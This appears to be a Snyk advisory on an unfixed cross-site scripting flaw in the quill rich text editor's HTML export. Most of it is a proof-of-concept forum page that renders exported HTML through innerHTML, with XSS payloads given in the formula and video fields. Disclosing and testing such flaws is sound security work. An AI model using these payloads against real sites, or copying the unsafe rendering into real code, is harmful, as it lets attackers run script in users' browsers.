Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for quill.
quill is a modern rich text editor built for compatibility and extensibility.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') due to the improper sanitazation in the getHTML() function. An attacker can execute arbitrary JavaScript code in the context of the user's browser by injecting malicious HTML that is not properly validated.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Quill Forum Comments PoC</title>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css"
/>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css"
/>
<style>
body {
font-family: Arial, sans-serif;
margin: 24px;
background: #f7f7f9;
}
.container {
max-width: 900px;
margin: 0 auto;
}
.card {
background: #fff;
border: 1px solid #ddd;
border-radius: 8px;
padding: 16px;
margin-bottom: 16px;
}
#editor {
height: 160px;
}
.actions {
display: flex;
gap: 8px;
margin-top: 12px;
}
.comment {
border-top: 1px solid #eee;
padding: 12px 0;
}
.comment:first-child {
border-top: none;
}
.meta {
font-size: 12px;
color: #666;
margin-bottom: 6px;
}
.hint {
color: #444;
}
code {
background: #f1f1f1;
padding: 2px 4px;
}
</style>
</head>
<body>
<div class="container">
<h1>Forum Comments (Quill PoC)</h1>
<p class="hint">
Normal user flow: write a comment, click Post. The app stores HTML and
renders it. Try these:
</p>
<p class="hint">
Formula: <code></span><img src=x onerror=alert(1)></code>
Video: <code>https://example.com" onmouseover="alert(1)</code>
</p>
<div class="card">
<div id="toolbar">
<span class="ql-formats">
<select class="ql-font"></select>
<select class="ql-size"></select>
</span>
<span class="ql-formats">
<button class="ql-bold"></button>
<button class="ql-italic"></button>
<button class="ql-underline"></button>
<button class="ql-strike"></button>
</span>
<span class="ql-formats">
<select class="ql-color"></select>
<select class="ql-background"></select>
</span>
<span class="ql-formats">
<button class="ql-script" value="sub"></button>
<button class="ql-script" value="super"></button>
</span>
<span class="ql-formats">
<button class="ql-header" value="1"></button>
<button class="ql-header" value="2"></button>
<button class="ql-blockquote"></button>
<button class="ql-code-block"></button>
</span>
<span class="ql-formats">
<button class="ql-list" value="ordered"></button>
<button class="ql-list" value="bullet"></button>
<button class="ql-indent" value="-1"></button>
<button class="ql-indent" value="+1"></button>
</span>
<span class="ql-formats">
<select class="ql-align"></select>
</span>
<span class="ql-formats">
<button class="ql-link"></button>
<button class="ql-image"></button>
<button class="ql-video"></button>
<button class="ql-formula"></button>
</span>
<span class="ql-formats">
<button class="ql-clean"></button>
</span>
</div>
<div id="editor"></div>
<div class="actions">
<button id="post">Post Comment</button>
<button id="clear">Clear</button>
</div>
</div>
<div class="card">
<h2>Comments</h2>
<div id="comments"></div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script>
<script>
const quill = new Quill('#editor', {
theme: 'snow',
modules: { toolbar: '#toolbar' },
});
const comments = [];
const renderComments = () => {
const container = document.getElementById('comments');
container.innerHTML = '';
comments.forEach((comment, index) => {
const wrapper = document.createElement('div');
wrapper.className = 'comment';
const meta = document.createElement('div');
meta.className = 'meta';
meta.textContent = `User #${comment.user} · ${comment.time}`;
const body = document.createElement('div');
// Vulnerable render for PoC: rendering exported HTML directly
body.innerHTML = comment.html;
wrapper.appendChild(meta);
wrapper.appendChild(body);
container.appendChild(wrapper);
});
};
document.getElementById('post').addEventListener('click', () => {
const html = quill.getSemanticHTML();
comments.unshift({
user: Math.floor(Math.random() * 1000),
time: new Date().toLocaleString(),
html,
});
renderComments();
quill.setContents([]);
});
document.getElementById('clear').addEventListener('click', () => {
quill.setContents([]);
});
</script>
</body>
</html>